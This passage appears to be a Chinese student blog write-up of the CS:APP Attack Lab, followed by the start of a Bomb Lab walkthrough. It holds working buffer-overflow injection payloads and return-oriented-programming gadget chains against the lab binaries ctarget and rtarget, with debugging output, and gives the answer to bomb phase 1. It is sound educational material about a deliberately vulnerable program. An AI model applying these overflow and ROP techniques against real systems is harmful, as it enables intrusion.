其中add $16,%rsp的值可能需要修改,这是因为我们无法确定这段汇编代码反汇编后占多少字节。同时,我们也要保证rsp移动的位数是8的倍数,这是栈的特性(即push和pop时操作数据的大小为一个机器字长)决定的。

写完了攻击代码后,我们依次使用gcc -c exploit.s以及objdump -d exploit.o > exploit.d将攻击代码汇编和反汇编。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level2> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level2> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level2> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

总共是10个字节,小于16个字节,因此源攻击代码中的add $16,%rsp可以直接使用,无需继续更改。
最后我们在ctarget-disassemble中观察函数touch2的起始地址,如下:
1
00000000004017ec <touch2>:

根据以上的信息,我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf fa 97 b9 59 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 */
ec 17 40 00 00 00 00 00 /* 返回地址 指向函数touch2 */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level2/level2.txt|./hex2raw|./ctarget -q     
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF FA 97 B9 59 48 83 C4 10 C3 00 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

阶段3同样包含了代码注入攻击,但是这次需要将一个字符串作为参数传入。
在ctarget中,函数hexmatch和touch3的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie,sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

任务是让程序执行touch3的代码而不是直接返回到test,你必须假装你已经将一个cookie的字符串表示作为参数传递给了touch3。

该阶段的思路同阶段二相似,不同的是,阶段二要求传递的参数是一个数字,而阶段三要求传递的参数是一个自己构造的字符串的首地址。因此,我们需要将目标字符串也通过缓冲区溢出攻击注入到栈段,并且将其首地址设置为%rdi。

现在我们来构造攻击字符串,首先,同阶段一和阶段二一样,攻击字符串的前40个字符串无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,同阶段二一样,我们将该返回地址设置为0x5561dca8。

接下来我们使用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x0, %edi ;设置第一个参数指向一个字符串(保留)
add $16, %rsp ;将rsp指向下一个返回地址(函数touch3的地址)
ret ;返回

注意,在构造该攻击字符串的时候,我们还不知道cookie的字符串的表示的首地址。故我们先使用0x0进行占位。生成最后的攻击字符串时只要用相应的栈地址替换0x0即可。

写完攻击代码之后,我们依次使用gcc和objdump进行汇编和反汇编,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level3> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level3> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level3> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf 00 00 00 00 mov $0x0,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

在攻击代码之后,栈上紧跟着的应该是该攻击代码的返回地址,毫无疑问,在这里我们需要将返回地址指向函数touch3的起始地址。

现在需要讨论的问题是,字符串应该放在栈上的什么地方?首先我们可以考虑将字符串放置在攻击字符串的前40个字节中。这样,具体的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00 /* 前40个字节 其中最后16个字节保存了cookie的字符串表示 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf 90 dc 61 55 48 83 c4 /* 攻击代码 其中将%rdi指向cookie的字符串表示的首地址 */
10 c3 00 00 00 00 00 00
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */

下面我们用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Misfire: You called touch3("")
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 A8 DC 61 55 00 00 00 00 BF 90 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00

糟糕,程序出错了,从Misfire: You called touch3(“”)中我们可以看出,%rdi指向的字符串是空字符串。这显然与我们的预期不符。我们的攻击代码理应没有任何问题。那么问题出在哪儿呢?

下面我们将攻击字符串导出成文件并且在gdb中进行调试,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw > weirdError
user@BlackDragon ~/C/A/target1> gdb ctarget
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -i weirdError -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -i weirdError -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) nexti 5
0x00000000004017bd 16 in buf.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
......After Some Steps......
(gdb) disas
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
=> 0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
(gdb) nexti
0x0000000000401916 73 in visible.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 0 -98 119 -23 120 13 -32 -89
0x5561dc98: -112 -36 97 85 0 0 0 0

我们可以注意到,在函数touch3调用函数hexmatch的前后,0x5561dc90指向的内存并不是我们一开始注入的cookie的字符串表示,而是被填充了其他的数据。这是由于调用新的函数(hexmatch以及hexmatch调用的函数)使得栈帧继续向下增长,从而覆盖了原先我们注入的数据的原因。

我们可以在gdb中实际的运行一下ctarget来得出执行hexmatch函数到底会覆盖多少栈空间,然后根据结果重写我们的攻击代码。
但是我在这里采用了另外一种方法是直接将cookie的字符串表示写到攻击代码的最后,这样,这段字符串将会处于相对的高地址,由于栈的增长方向是从高地址到低地址,这样,注入的字符串将绝对不会因函数调用而被覆盖。

最终,我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf c0 dc 61 55 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 其中将%rdi指向字符串的首地址(栈的高地址)*/
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 共9个字节(包括'/0') */
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF C0 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

第二部分 返回导向编程(Return-Oriented Programming)攻击

为了对抗缓冲区溢出攻击,现代编译器和操作系统采用了很多机制。第二部分的目标文件rtarget就采用了以下两种技术:

  • 栈随机化技术,每一次运行程序时,栈的起始位置都是不固定的,几乎不可能确定你攻击代码在栈上的位置。
  • 禁止执行栈上的代码,所以当你尝试将PC指向栈段的时候,程序只能因Segmentation Fault而退出。

下面我们引入返回导向编程(Return-Oriented Programming)技术来实现在以上两种限制情况下执行代码。

C语言程序是由若干的函数组成的,每一个函数都以ret结束,下面我们给出一个函数,如下:

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

以及这个函数的反汇编结果,如下:
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

尽管栈随机化以及禁止在栈段执行代码,但是通过缓冲区溢出攻击,我们仍然可以覆盖返回地址并且让PC跳转至代码段的相应位置。例如让getbuf返回后跳转至0x400f15,尽管这看起来并没有什么意义,因为程序的代码和我们攻击的代码的逻辑是不同的,攻击代码和程序已有代码相同的可能性几乎是0。

现在,让我们换一个思路,如果让getbuf返回后跳转到0x400f18,会怎么样呢?

从0x400f18开始的三个字节48 89 c7代表的是movq %rax, %rdi,然后紧跟的c3代表的是ret。在攻击中,这段代码就比movl $0xc78948d4,(%rdi) ret这样的代码更有意义。并且当这段代码执行完毕,ret又迫使程序跳转到下一个返回地址指向的地方。

现在我们可以利用程序本身的代码,构造出一组由不同的返回地址组成的攻击代码,每一个返回地址都指向了一个函数的最末尾的若干字节,由ret结尾。这样,程序就会按照我们设计的顺序依次执行这些代码片段,以达到修改程序行为的结果,这就是返回导向编程。这些代码片段被称作gadget,而这些gadgets共同组成了一个gadget farm。

等级2

在阶段4中,我们将重复阶段2的攻击,只是这一次目标文件为rtarget。为了简化期间,在本次实验中,你仅能从gadget farm中利用movq,popq,ret,nop这四种类型的指令以及x86_64的前8个寄存器(%rax-%rdi)的gadget去构造答案。并且在阶段4中,你只能使用farm.c中start_farm()和mid_farm()之间的gadget来实现攻击。

当一个gadget用到了popq指令,它将会从栈中pop数据,因此,你的攻击代码将会同时包括gadget地址以及数据。

阶段4的思路很简单,我们只要首先从栈中将cookie的8位数字pop到一个寄存器中,再使用mov指令将该寄存器的值送入%rdi中,或者更加直接,将cookie从栈中pop至%rdi中,最后再将返回地址设置为touch2即可。具体要看gadget farm中都提供了哪些gadgets。

我们首先观察gadget_farm中的相关gadgets,并决定其是否可以用作攻击。根据上述的思路,我们可以得到两个gadget set_val426及getval_280,它们的反汇编代码如下:

1
2
3
4
5
6
7
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

setval_426中的48 89 c7 90 c3可以被解释为mov %rax,%rdi nop ret,而getval_280中的58 90 c3可以被解释为pop %rax nop ret。
将这两个gadget结合,即可以得到阶段4的结果,如下:
1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
cc 19 40 00 00 00 00 00 /* pop %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 */

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level2/level2.txt|./hex2raw|./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

在阶段5中,我们将在rtarget中重复阶段3的攻击,即将目标字符串的首地址作为参数传递给函数touch3。这是所有阶段中最难的一个阶段。

首先,考虑到代码段部分以及栈段部分的地址的高4字节都是0,以及x86下任何以32位寄存器作为目标寄存器的指令都会将该寄存器的高4字节置0,我们同样可以使用movl替代movq。

在本阶段中,我们显然是需要将cookie的字符串表示存入栈段的,这个阶段的核心问题是如何定位该字符串的首地址,在栈地址随机的情况下,这是很难的。

首先想到的是利用mov指令将%rsp的值送入另一个寄存器,但是在执行这样的gadget时,寄存器rsp指向的是下一个gadget的返回地址,而不是字符串的首地址,而如果让其指向字符串的首地址,那么又无法在最后返回到函数touch3。

我在做这个实验的时候,在这里卡了很久。最后才注意到在gadget farm中有一个叫做add_xy的函数,这个函数的功能是将%rdi与%rsi相加并保存至%rax,豁然开朗。做题目(进行攻击)的时候还是不能太死板,一定要充分利用目标程序本身提供的代码,一味地按照固有的套路做有时只会浪费时间和精力。

整个阶段5的思路如下,首先将rsp存入某个寄存器之中,然后再将一个特定的常量pop至另一个寄存器之中,最后将这两个值分别存入%rsi和%rdi,调用add_xy将其相加得到字符串的首地址,并将结果%rax存入%rdi之中,最后再调用函数touch3即可。

受制于gadget的种类,我们可能会用到多个gadget做中转。最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
ab 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant*/
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
34 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level3/level3.txt|./hex2raw|./rtarget -q                
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

注意,在第二部分中,可能使用不同的Gadget去实现相同的攻击效果,答案仅供参考,但并不是唯一的。

至此,整个实验完成。

实验总结

相比与BombLab来说,整个AttackLab总体比较简单,主要需要自行阅读讲义中的材料学习相关的攻击方式并将其运用,考虑到讲义中给出的提示,除了阶段5以外整体不是很难。

在这次实验中,主要的两个问题以及收获:

  • 字节序的问题,需要对栈的增长方向以及小端法的字节序加以理解。
  • ROP攻击要充分利用程序本身,而不是循规蹈矩地盲目寻找Gadgets,这样只会在阶段五卡住。

评论和共享

实验答案托管在我的Github

用了一周的时间读完了《深入理解计算机系统》的第三章:程序的机器级表示。对于x86_64汇编及其逆向工程有了一定的了解。于2017年4月16日完成了其第二个Lab - Bomb Lab.

实验简介

Bomb Lab - Defusing a Binary Bomb主要是关于反汇编的实验,对应于书本的第三章:程序的机器级表示。

本实验非常的有趣。实验给定了一个二进制程序Bomb(炸弹)。这个炸弹由若干阶段组成,每个阶段都要求你在标准输入流中输入一个字符串,如果字符串正确,那么该阶段就会被解除并且程序会进入下一个阶段。如果字符串错误,那么炸弹会爆炸,并且退出。当每个阶段都被解除后,整个炸弹将会被解除。

在正式的实验中,每个学生将会从服务器处得到一个独一无二的炸弹,解除每个炸弹所需要的字符串都是不同的。同时,引爆炸弹将会导致扣分。当实验结束后,可以从服务器的计分板上看到每个学生的成绩。
本实验主要要求学生能够理解汇编代码,同时要求学生能学会使用一个Debugger(调试器)。

本实验提供的答案仅针对官网给出的自学者讲义中的炸弹

实验提示

  • 学会使用一个debugger(调试器),在本次实验中,使用GDB - GNU Debugger
  • 使用objdump -t得到bomb的符号表。符号表包含了bomb中所有函数,全局变量,以及调用的函数的名字及地址。
  • 使用objdump -d得到bomb的反汇编结果。但是注意,系统级别的函数调用将会以被加密的形式出现在反汇编代码中,如果需要知道这些信息,需要在gdb中对相应的函数进行反汇编。

实验过程及分析

实验准备

  1. 熟悉GDB的使用,并且使用objdump -t bomb > bomb-symboltable生成bomb的符号表,再使用objdump -d bomb > bomb-disassemble生成bomb的反汇编文件。
  2. 确保即时输入了错误的字符串炸弹也不会爆炸。观察bomb的符号表可以发现函数explode_bomb,推测该函数的作用是引爆炸弹,因此在GDB中使用break explode_bomb为该函数添加断点。这样,我们可以在bomb爆炸前提前截获并处理。
  3. 观察符号表可以看到phase_1到phase_6这几个函数以及其他的相关辅助函数,我们要做的就是给每一个阶段的函数添加断点,反汇编,并且理解这些函数的作用,并推测出答案。

实验过程

主函数 - main

首先在bomb-disassemble中观察main的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
0000000000400da0 <main>:
400da0: 53 push %rbx
400da1: 83 ff 01 cmp $0x1,%edi
400da4: 75 10 jne 400db6 <main+0x16>
400da6: 48 8b 05 9b 29 20 00 mov 0x20299b(%rip),%rax # 603748 <stdin@@GLIBC_2.2.5>
400dad: 48 89 05 b4 29 20 00 mov %rax,0x2029b4(%rip) # 603768 <infile>
400db4: eb 63 jmp 400e19 <main+0x79>
400db6: 48 89 f3 mov %rsi,%rbx
400db9: 83 ff 02 cmp $0x2,%edi
400dbc: 75 3a jne 400df8 <main+0x58>
400dbe: 48 8b 7e 08 mov 0x8(%rsi),%rdi
400dc2: be b4 22 40 00 mov $0x4022b4,%esi
400dc7: e8 44 fe ff ff callq 400c10 <fopen@plt>
400dcc: 48 89 05 95 29 20 00 mov %rax,0x202995(%rip) # 603768 <infile>
400dd3: 48 85 c0 test %rax,%rax
400dd6: 75 41 jne 400e19 <main+0x79>
400dd8: 48 8b 4b 08 mov 0x8(%rbx),%rcx
400ddc: 48 8b 13 mov (%rbx),%rdx
400ddf: be b6 22 40 00 mov $0x4022b6,%esi
400de4: bf 01 00 00 00 mov $0x1,%edi
400de9: e8 12 fe ff ff callq 400c00 <__printf_chk@plt>
400dee: bf 08 00 00 00 mov $0x8,%edi
400df3: e8 28 fe ff ff callq 400c20 <exit@plt>
400df8: 48 8b 16 mov (%rsi),%rdx
400dfb: be d3 22 40 00 mov $0x4022d3,%esi
400e00: bf 01 00 00 00 mov $0x1,%edi
400e05: b8 00 00 00 00 mov $0x0,%eax
400e0a: e8 f1 fd ff ff callq 400c00 <__printf_chk@plt>
400e0f: bf 08 00 00 00 mov $0x8,%edi
400e14: e8 07 fe ff ff callq 400c20 <exit@plt>
400e19: e8 84 05 00 00 callq 4013a2 <initialize_bomb>
400e1e: bf 38 23 40 00 mov $0x402338,%edi
400e23: e8 e8 fc ff ff callq 400b10 <puts@plt>
400e28: bf 78 23 40 00 mov $0x402378,%edi
400e2d: e8 de fc ff ff callq 400b10 <puts@plt>
400e32: e8 67 06 00 00 callq 40149e <read_line>
400e37: 48 89 c7 mov %rax,%rdi
400e3a: e8 a1 00 00 00 callq 400ee0 <phase_1>
400e3f: e8 80 07 00 00 callq 4015c4 <phase_defused>
400e44: bf a8 23 40 00 mov $0x4023a8,%edi
400e49: e8 c2 fc ff ff callq 400b10 <puts@plt>
400e4e: e8 4b 06 00 00 callq 40149e <read_line>
400e53: 48 89 c7 mov %rax,%rdi
400e56: e8 a1 00 00 00 callq 400efc <phase_2>
400e5b: e8 64 07 00 00 callq 4015c4 <phase_defused>
400e60: bf ed 22 40 00 mov $0x4022ed,%edi
400e65: e8 a6 fc ff ff callq 400b10 <puts@plt>
400e6a: e8 2f 06 00 00 callq 40149e <read_line>
400e6f: 48 89 c7 mov %rax,%rdi
400e72: e8 cc 00 00 00 callq 400f43 <phase_3>
400e77: e8 48 07 00 00 callq 4015c4 <phase_defused>
400e7c: bf 0b 23 40 00 mov $0x40230b,%edi
400e81: e8 8a fc ff ff callq 400b10 <puts@plt>
400e86: e8 13 06 00 00 callq 40149e <read_line>
400e8b: 48 89 c7 mov %rax,%rdi
400e8e: e8 79 01 00 00 callq 40100c <phase_4>
400e93: e8 2c 07 00 00 callq 4015c4 <phase_defused>
400e98: bf d8 23 40 00 mov $0x4023d8,%edi
400e9d: e8 6e fc ff ff callq 400b10 <puts@plt>
400ea2: e8 f7 05 00 00 callq 40149e <read_line>
400ea7: 48 89 c7 mov %rax,%rdi
400eaa: e8 b3 01 00 00 callq 401062 <phase_5>
400eaf: e8 10 07 00 00 callq 4015c4 <phase_defused>
400eb4: bf 1a 23 40 00 mov $0x40231a,%edi
400eb9: e8 52 fc ff ff callq 400b10 <puts@plt>
400ebe: e8 db 05 00 00 callq 40149e <read_line>
400ec3: 48 89 c7 mov %rax,%rdi
400ec6: e8 29 02 00 00 callq 4010f4 <phase_6>
400ecb: e8 f4 06 00 00 callq 4015c4 <phase_defused>
400ed0: b8 00 00 00 00 mov $0x0,%eax
400ed5: 5b pop %rbx
400ed6: c3 retq

结合讲义中的bomb.c可以得出,main函数每次调用read_line从标准输入流中读入一行字符串,并将其返回值(即字符串的首地址)设置为第一个参数,然后依次调用phase_1到phase_6。

在每一个phase函数内部检查输入的字符串是否正确,如果不正确,则调用explode_bomb函数引爆bomb;否则则返回,返回之后由主函数再继续调用phase_defused解除该阶段。

因此,在每一个阶段中,我们关注的重点应当是phase函数内部以及phase函数所调用的其他函数。

阶段1 - phase_1

在bomb-disassemble中观察phase_1的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
0000000000400ee0 <phase_1>:
400ee0: 48 83 ec 08 sub $0x8,%rsp
400ee4: be 00 24 40 00 mov $0x402400,%esi #设置第二个参数为指针
400ee9: e8 4a 04 00 00 callq 401338 <strings_not_equal> #调用strings_not_equal函数
400eee: 85 c0 test %eax,%eax
400ef0: 74 05 je 400ef7 <phase_1+0x17>
400ef2: e8 43 05 00 00 callq 40143a <explode_bomb> #若返回值不为0则引爆bomb
400ef7: 48 83 c4 08 add $0x8,%rsp
400efb: c3 retq

可以看出,phase_1调用了strings_not_equal这个函数,并为该函数配置了第二个参数0x402400,并判断该函数的返回值是否为0,如果为0则返回,否则引爆bomb。

从函数名可以推测,该函数的作用是判断两个字符串是否不相同,如果不相同,则返回非0值,相同则返回0。

还可以推测,该函数的第一个参数%rdi中存放了我们输入的字符串的首地址,而第二个参数%rsi指向了待比较的字符串的首地址——也就是阶段1的答案。

下面在GDB中验证推测。使用GDB运行bomb,为phase_1和explode_bomb添加断点。然后输入测试字符串”Test”,进入phase_1后用print分别打印输出%rdi和%rsi所指向的字符串。

首先是设置断点的相关命令及结果:

1
2
3
4
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_1
Breakpoint 2 at 0x400ee0

然后是运行程序及输入测试字符串的相关命令及结果:
1
2
3
4
5
6
7
(gdb) run
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Test

Breakpoint 2, 0x0000000000400ee0 in phase_1 ()

然后我们查看%rdi所指向的字符串:
1
2
(gdb) print (char *)($rdi)
$1 = 0x603780 <input_strings> "Test"

发现%rdi果然指向了我们输入的字符串。然后我们单步执行程序至调用strings_not_equal函数之前,查看%rsi所指向的字符串:
1
2
(gdb) print (char *)($rsi)
$2 = 0x402400 "Border relations with Canada have never been better."

我们已经得到了phase_1的答案,就是”Border relations with Canada have never been better.”

下面我们重新执行bomb并测试,输出”Phase 1 defused. How about the next one?”,phase_1解决。

阶段2 - phase_2

在bomb-disassemble中观察phase_2的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000000000400efc <phase_2>:
400efc: 55 push %rbp
400efd: 53 push %rbx
400efe: 48 83 ec 28 sub $0x28,%rsp
400f02: 48 89 e6 mov %rsp,%rsi
400f05: e8 52 05 00 00 callq 40145c <read_six_numbers> #从输入的字符串中读入6个数字
400f0a: 83 3c 24 01 cmpl $0x1,(%rsp)
400f0e: 74 20 je 400f30 <phase_2+0x34>
400f10: e8 25 05 00 00 callq 40143a <explode_bomb> #如果第一个数字不为1则引爆炸弹
400f15: eb 19 jmp 400f30 <phase_2+0x34>
400f17: 8b 43 fc mov -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
# 计算前一个元素*2
400f1c: 39 03 cmp %eax,(%rbx)
400f1e: 74 05 je 400f25 <phase_2+0x29>
400f20: e8 15 05 00 00 callq 40143a <explode_bomb> #若当前元素不等于前一个元素*2则引爆bomb
400f25: 48 83 c3 04 add $0x4,%rbx
400f29: 48 39 eb cmp %rbp,%rbx
400f2c: 75 e9 jne 400f17 <phase_2+0x1b>
# 指向下一个元素
400f2e: eb 0c jmp 400f3c <phase_2+0x40>
400f30: 48 8d 5c 24 04 lea 0x4(%rsp),%rbx
400f35: 48 8d 6c 24 18 lea 0x18(%rsp),%rbp #设置b和bEnd
400f3a: eb db jmp 400f17 <phase_2+0x1b>
400f3c: 48 83 c4 28 add $0x28,%rsp
400f40: 5b pop %rbx
400f41: 5d pop %rbp
400f42: c3 retq

